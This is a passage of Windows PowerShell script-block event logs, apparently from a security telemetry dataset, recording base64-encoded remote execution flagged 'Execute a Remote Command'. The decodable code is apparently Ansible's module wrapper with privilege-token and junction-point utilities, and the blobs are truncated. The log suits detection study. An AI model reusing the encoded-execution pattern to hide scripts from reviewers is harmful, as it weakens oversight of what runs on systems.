UHRyLlplcm8sCiAgICAgICAgICAgICAgICBGaWxlTW9kZS5PcGVuLAogICAgICAgICAgICAgICAgRklMRV9GTEFHX0JBQ0tVUF9TRU1BTlRJQ1MgfCBGSUxFX0ZMQUdfT1BFTl9SRVBBUlNFX1BPSU5ULAogICAgICAgICAgICAgICAgSW50UHRyLlplcm8pOwoKICAgICAgICAgICAgaWYgKGZpbGVIYW5kbGUuSXNJbnZhbGlkKQogICAgICAgICAgICAg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QnVmZmVyID0gbmV3IGNoYXJbTUFYSU1VTV9SRVBBUlNFX0RBVEFfQlVGRkVSX1NJWkVdOwoKICAgICAgICAgICAgICAgIGJ5dGVbXSB1bmljb2RlQnl0ZXMgPSBFbmNvZGluZy5Vbmljb2RlLkdldEJ5dGVzKHN1YnN0aXR1dGVOYW1lICsgIlwwIiArIHByaW50TmFtZSk7CiAgICAgICAgICAgICAgICBjaGFyW10gcGF0aEJ1ZmZlciA9IEVuY29kaW5nLlVuaWNvZGUuR2V0Q2hhcnModW5pY29kZUJ5dGVzKTsKICAgICAgICAgICAgICAgIEFycmF5LkNvcHkocGF0aEJ1ZmZlciwgYnVmZmVyLlBhdGhCdWZmZXIsIHBhdGhCdWZmZXIuTGVuZ3RoKTsKCiAgICAgICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfU0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIChVSW50MzIpKGJ1ZmZlci5SZXBhcnNlRGF0YUxlbmd0aCArIDgpLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLCAwLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgdG8gY3JlYXRlIGp1bmN0aW9uIHBvaW50IGF0IHswfSB0byB7MX0iLCBsaW5rUGF0aCwgbGlua1RhcmdldCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgIC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HsKICAgICAgICAjIElmIHRoZSBmaXJzdCBhcmd1bWVudCBpcyB1bmRlZmluZWQgb3IgYSBkaWZmZXJlbnQgdHlwZSwKICAgICAgICAjIG1ha2UgaXQgYSBIYXNodGFibGUKICAgICAgICAkb2JqID0gQHsgfQogICAgfQoKICAgICMgU3RpbGwgdXNpbmcgU2V0LUF0dHIgZm9yIFBTT2JqZWN0IGNvbXBhdGliaWxpdHkKICAgIFNldC1BdHRyICRvYmogIm1zZyIgJG1lc3NhZ2UKICAgIFNldC1BdHRyICRvYmogImZhaWxlZCIgJHRydWUKCiAgICBpZiAoLW5vdCAkb2JqLkNvbnRhaW5zS2V5KCdjaGFuZ2VkJykpIHsKICAgICAgICBTZXQtQXR0ciAkb2JqICJjaGFuZ2VkIiAkZmFsc2UKICAgIH0KCiAgICBXcml0ZS1PdXRwdXQgJG9iaiB8IENvbnZlcnRUby1Kc29uIC1Db21wcmVzcyAtRGVwdGggOTkKICAgIEV4aXQgMQp9Cg
ScriptBlock ID: cbd14a3c-5f64-4f98-8d4e-6f7cee2fc98b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2153 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0005-8f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
FibGVBbGxQcml2aWxlZ2VzLCBuZXdTdGF0ZVB0ciwgMCwgb2xkU3RhdGVQdHIsIG91dCByZXR1cm5MZW5ndGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnJDb2RlICE9IDEyMikgLy8gRVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKGVyckNvZGUsICJBZGp1c3RUb2tlblByaXZpbGVnZXMoKSBmYWlsZWQgdG8gZ2V0IG9sZCBzdGF0ZSBzaXplIik7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAvLyByZXNpemUgdGhlIG9sZFN0YXRlUHRyIGJhc2VkIG9uIHRoZSBsZW5ndGggcmV0dXJuZWQgZnJvbSBXaW5kb3dzCiAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChvbGRTdGF0ZVB0cik7CiAgICAgICAgICAgICAgICAgICAgb2xkU3RhdGVQdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgoaW50KXJldHVybkxlbmd0aCk7CiAgICAgICAgICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBib29sIHJlcyA9IE5hdGl2ZU1ldGhvZHMuQWRqdXN0VG9rZW5Qcml2aWxlZ2VzKGhUb2tlbiwgZGlzYWJsZUFsbFByaXZpbGVnZXMsIG5ld1N0YXRlUHRyLCByZXR1cm5MZW5ndGgsIG9sZFN0YXRlUHRyLCBvdXQgcmV0dXJuTGVuZ3RoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBldmVuIHdoZW4gcmVzID09IHRydWUsIEVSUk9SX05PVF9BTExfQVNTSUdORUQgbWF5IGJlIHNldCBhcyB0aGUgbGFzdCBlcnJvciBjb2RlCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghcmVzIHx8IGVyckNvZGUgIT0gMCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBXaW4zMkV4Y2VwdGlvbihlcnJDb2RlLCAiQWRqdXN0VG9rZW5Qcml2aWxlZ2VzKCkgZmFpbGVkIik7CgogICAgICAgICAgICAgICAgICAgICAgICAvLyBNYXJzaGFsIHRoZSBvbGRTdGF0ZVB0ciB0byB0aGUgc3RydWN0CiAgICAgICAgICAgICAgICAgICAgICAgIE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUyBvbGRTdGF0ZSA9IChOYXRpdmVIZWxwZXJzLlRPS0VOX1BSSVZJTEVHRVMpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZShvbGRTdGF0ZVB0ciwgdHlwZW9mKE5hdGl2ZUhlbHBlcnMuVE9LRU5fUFJJVklMRUdFUykpOwogICAgICAgICAgICAgICAgICAgICAgICBvbGRTdGF0ZVByaXZpbGVnZXMgPSBuZXcgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW29sZFN0YXRlLlByaXZpbGVnZUNvdW50XTsKICAgICAgICAgICAgICAgICAgICAgICAgUHRyVG9TdHJ1Y3R1cmVBcnJheShvbGRTdGF0ZVByaXZpbGVnZXMsIEludFB0ci5BZGQob2xkU3RhdGVQdHIsIE1hcnNoYWwuU2l6ZU9mKG9sZFN0YXRlLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBNYXJzaGFsLkZyZWVIR2xvYmFsKG9sZFN0YXRlUHRyKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5DbG9zZUhhbmRsZShoVG9rZW4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKG5ld1N0YXRlUHRyICE9IEludFB0ci5aZXJvKQogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwobmV3U3RhdGVQdHIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXR1cm4gb2xkU3RhdGVQcml2aWxlZ2VzLlRvRGljdGlvbmFyeShwID0+IEdldFByaXZpbGVnZU5hbWUocC5MdWlkKSwgcCA9PiAoYm9vbD8pcC5BdHRyaWJ1dGVzLkhhc0ZsYWcoUHJpdmlsZWdlQXR0cmlidXRlcy5FbmFibGVkKSk7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBzdHJpbmcgR2V0UHJpdmlsZWdlTmFtZShOYXRpdmVIZWxwZXJzLkxVSUQgbHVpZCkKICAgICAgICB7CiAgICAgICAgICAgIFVJbnQzMiBuYW1lTGVuID0gMDsKICAgICAgICAgICAgTmF0aXZlTWV0aG9kcy5Mb29rdXBQcml2aWxlZ2VOYW1lKG51bGwsIHJlZiBsdWlkLCBudWxsLCByZWYgbmFtZUxlbik7CgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIG5hbWUgPSBuZXcgU3RyaW5nQnVpbGRlcigoaW50KShuYW1lTGVuICsgMSkpOwogICAgICAgICAgICBpZiAoIU5hdGl2ZU1ldGhvZHMuTG9va3VwUHJpdmlsZWdlTmFtZShudWxsLCByZWYgbHVpZCwgbmFtZSwgcmVmIG5hbWVMZW4pKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKCJMb29rdXBQcml2aWxlZ2VOYW1lKCkgZmFpbGVkIik7CgogICAgICAgICAgICByZXR1cm4gbmFtZS5Ub1N0cmluZygpOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBQdHJUb1N0cnVjdHVyZUFycmF5PFQ+KFRbXSBhcnJheSwgSW50UHRyIHB0cikKICAgICAgICB7CiAgICAgICAgICAgIEludFB0ciBwdHJPZmZzZXQgPSBwdHI7CiAgICAgICAgICAgIGZvciAoaW50IGkgPSAwOyBpIDwgYXJyYXkuTGVuZ3RoOyBpKyssIHB0ck9mZnNldCA9IEludFB0ci5BZGQocHRyT2Zmc2V0LCBNYXJzaGFsLlNpemVPZih0eXBlb2YoVCkpKSkKICAgICAgICAgICAgICAgIGFycmF5W2ldID0gKFQpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZShwdHJPZmZzZXQsIHR5cGVvZihUKSk7CiAgICAgICAgfQoKICAgICAgICBwcml2YXRlIHN0YXRpYyBpbnQgU3RydWN0dXJlVG9CeXRlczxUPihUIHN0cnVjdHVyZSwgYnl0ZVtdIGFycmF5LCBpbnQgb2Zmc2V0KQogICAgICAgIHsKICAgICAgICAgICAgaW50IHNpemUgPSBNYXJzaGFsLlNpemVPZihzdHJ1Y3R1cmUpOwogICAgICAgICAgICBJbnRQdHIgc3RydWN0UHRyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoc2l6ZSk7CiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBNYXJzaGFsLlN0cnVjdHVyZVRvUHRyKHN0cnVjdHVyZSwgc3RydWN0UHRyLCBmYWxzZSk7CiAgICAgICAgICAgICAgICBNYXJzaGFsLkNvcHkoc3RydWN0UHRyLCBhcnJheSwgb2Zmc2V0LCBzaXplKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmaW5hbGx5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwoc3RydWN0UHRyKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuIHNpemU7CiAgICAgICAgf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ICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5VNCldIEZpbGVTaGFyZSBkd1NoYXJlTW9kZSwKICAgICAgICAgICAgSW50UHRyIGxwU2VjdXJpdHlBdHRyaWJ1dGVzLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuVTQpXSBGaWxlTW9kZSBkd0NyZWF0aW9uRGlzcG9zaXRpb24sCiAgICAgICAgICAgIFVJbnQzMiBkd0ZsYWdzQW5kQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGhUZW1wbGF0ZUZpbGUpOwoKICAgICAgICAvLyBVc2VkIGJ5IEdldFJlcGFyc2VQb2ludEluZm8oKQogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIERldmljZUlvQ29udHJvbCgKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaERldmljZSwKICAgICAgICAgICAgVUludDMyIGR3SW9Db250cm9sQ29kZSwKICAgICAgICAgICAgSW50UHRyIGxwSW5CdWZmZXIsCiAgICAgICAgICAgIFVJbnQzMiBuSW5CdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgUkVQQVJTRV9EQVRBX0JVRkZFUiBscE91dEJ1ZmZlciwKICAgICAgICAgICAgVUludDMyIG5PdXRCdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgVUludDMyIGxwQnl0ZXNSZXR1cm5lZCwKICAgICAgICAgICAgSW50UHRyIGxwT3ZlcmxhcHBlZCk7CgogICAgICAgIC8vIFVzZWQgYnkgQ3JlYXRlSnVuY3Rpb25Qb2ludCgpCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCiAgIC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AgICAgICAgIFN0cmluZ0J1aWxkZXIgTGlua05hbWUpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBGaW5kTmV4dEZpbGVOYW1lVygKICAgICAgICAgICAgSW50UHRyIGhGaW5kU3RyZWFtLAogICAgICAgICAgICByZWYgVUludDMyIFN0cmluZ0xlbmd0aCwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBMaW5rTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEZpbmRDbG9zZSgKICAgICAgICAgICAgSW50UHRyIGhGaW5kRmlsZSk7CgogICAgICAgIFtEbGxJbXB
ScriptBlock ID: cbd14a3c-5f64-4f98-8d4e-6f7cee2fc98b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2152 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3508 | 3856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:59 AM | 61e00a24-ee3b-0005-8f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3YgaW4gJHBheWxvYWQuZW52aXJvbm1lbnQuR2V0RW51bWVyYXRvcigpKSB7CiAgICAgICAgIyBu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F9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.PrivilegeUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTggQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiMgc3RvcmUgaW4gc2VwYXJhdGUgdmFyaWFibGVzIHRvIG1ha2UgaXQgZWFzaWVyIGZvciBvdGhlciBtb2R1bGVfdXRpbHMgdG8KIyBzaGFyZSB0aGlzIGNvZGUgaW4gdGhlaXIgb3duIGMjIGNvZGUKJGFuc2libGVfcHJpdmlsZWdlX3V0aWxfbmFtZXNwYWNlcyA9IEAoCiAgICAiTWljcm9zb2Z0LldpbjMyLlNhZmVIYW5kbGVzIiwKICAgICJTeXN0ZW0iLAogICAgIlN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljIiwKICAgICJTeXN0ZW0uTGlucSIsCiAgICAiU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzIiwKICAgICJTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsIiwKICA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W50MzIgUHJpdmlsZWdlQ291bnQ7CiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5CeVZhbEFycmF5LCBTaXplQ29uc3QgPSAxKV0KICAgICAgICAgICAgcHVibGljIExVSURfQU5EX0FUVFJJQlVURVNbXSBQcml2aWxlZ2VzOwogICAgICAgIH0KICAgIH0KCiAgICBpbnRlcm5hbCBjbGFzcyBOYXRpdmVNZXRob2RzCiAgICB7CiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIEFkanVzdFRva2VuUHJpdmlsZWdlcygKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuQm9vbCldIGJvb2wgRGlzYWJsZUFsbFByaXZpbGVnZXMsCiAgICAgICAgICAgIEludFB0ciBOZXdTdGF0ZSwKICAgICAgICAgICAgVUludDMyIEJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgSW50UHRyIFByZXZpb3VzU3RhdGUsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIENsb3NlSGFuZGxlKAogICAgICAgICAgICBJbnRQdHIgaE9iamVjdCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBTYWZlV2FpdEhhbmRsZSBHZXRDdXJyZW50UHJvY2VzcygpOwoKICAgICAgICBbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGJvb2wgR2V0VG9rZW5JbmZvcm1hdGlvbigKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBVSW50MzIgVG9rZW5JbmZvcm1hdGlvbkNsYXNzLAogICAgICAgICAgICBJbnRQdHIgVG9rZW5JbmZvcm1hdGlvbiwKICAgICAgICAgICAgVUludDMyIFRva2VuSW5mb3JtYXRpb25MZW5ndGgsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV0dXJuTGVuZ3RoKTsKCiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIExvb2t1cFByaXZpbGVnZU5hbWUoCiAgICAgICAgICAgIHN0cmluZyBscFN5c3RlbU5hbWUsCiAgICAgICAgICAgIHJlZiBOYXRpdmVIZWxwZXJzLkxVSUQgbHBMdWlkLAogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGxwTmFtZSwKICAgICAgICAgICAgcmVmIFVJbnQzMiBjY2hOYW1lKTsKCiAgICAgICAgW0RsbEltcG9ydCgiYWR2YXBpMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBib29sIExvb2t1cFByaXZpbGVnZVZhbHVlKAogICAgICAgICAgICBzdHJpbmcgbHBTeXN0ZW1OYW1lLAogICAgICAgICAgICBzdHJpbmcgbHBOYW1lLAogICAgICAgICAgICBvdXQgTmF0aXZlSGVscGVycy5MVUlEIGxwTHVpZCk7CgogICAgICAgIFtEbGxJbXBvcnQoImFkdmFwaTMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIGludGVybmFsIHN0YXRpYyBleHRlcm4gYm9vb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ICAgICAgIHB1YmxpYyBzdGF0aWMgYm9vbCBDaGVja1ByaXZpbGVnZU5hbWUoc3RyaW5nIG5hbWUpCiAgICAgICAgewogICAgICAgICAgICBOYXRpdmVIZWxwZXJzLkxVSUQgbHVpZDsKICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkxvb2t1cFByaXZpbGVnZVZhbHVlKG51bGwsIG5hbWUsIG91dCBsdWlkKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaW50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICBpZiAoZXJyQ29kZSAhPSAxMzEzKSAgLy8gRVJST1JfTk9fU1VDSF9QUklWSUxFR0UKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oZXJyQ29kZSwgU3RyaW5nLkZvcm1hdCgiTG9va3VwUHJpdmlsZWdlVmFsdWUoezB9KSBmYWlsZWQiLCBuYW1lKSk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IERpc2FibGVQcml2aWxlZ2UoU2FmZUhhbmRsZSB0b2tlbiwgc3RyaW5nIHByaXZpbGVnZSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBTZXRUb2tlblByaXZpbGVnZXModG9rZW4sIG5ldyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+KCkgeyB7IHByaXZpbGVnZSwgZmFsc2UgfSB9KTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBEaXNhYmxlQWxsUHJpdmlsZWd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kZChwcml2aWxlZ2VzUHRyLCBNYXJzaGFsLlNpemVPZihwcml2aWxlZ2VJbmZvLlByaXZpbGVnZUNvdW50KSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuRnJlZUhHbG9iYWwocHJpdmlsZWdlc1B0cik7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaW5mbyA9IHByaXZpbGVnZXMuVG9EaWN0aW9uYXJ5KHAgPT4gR2V0UHJpdmlsZWdlTmFtZShwLkx1aWQpLCBwID0+IHAuQXR0cmlidXRlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmluYWxseQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBOYXRpdmVNZXRob2RzLkNsb3NlSGFuZGxlKGhUb2tlbik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGluZm87CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIFNhZmVXYWl0SGFuZGxlIEdldEN1cnJlbnRQcm9jZXNzKCkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBOYXRpdmVNZXRob2RzLkdldEN1cnJlbnRQcm9jZXNzKCk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgUmVtb3ZlUHJpdmlsZWdlKFNhZmVIYW5kbGUgdG9rZW4sIHN0cmluZyBwcml2aWxlZ2UpCiAgICAgICAgewogICAgICAgICAgICBTZXRUb2tlblByaXZpbGVnZXModG9rZW4sIG5ldyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+KCkgeyB7IHByaXZpbGVnZSwgbnVsbCB9IH0pOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IFNldFRva2VuUHJpdmlsZWdlcyhTYWZlSGFuZGxlIHRva2VuLCBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IHN0YXRlKQogICAgICAgIHsKICAgICAgICAgICAgTmF0aXZlSGVscGVycy5MVUlEX0FORF9BVFRSSUJVVEVTW10gcHJpdmlsZWdlQXR0ciA9IG5ldyBOYXRpdmVIZWxwZXJzLkxVSURfQU5EX0FUVFJJQlVURVNbc3RhdGUuQ291bnRdOwogICAgICAgICAgICBpbnQgaSA9IDA7CgogICAgICAgICAgICBmb3JlYWNoIChLZXlWYWx1ZVBhaXI8c3RyaW5nLCBib29sPz4gZW50cnkgaW4gc3RhdGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIE5hdGl2ZUhlbHBlcnMuTFVJRCBsdWlkOwogICAgICAgICAgICAgICAgaWYgKCFOYXRpdmVNZXRob2RzLkxvb2t1cFB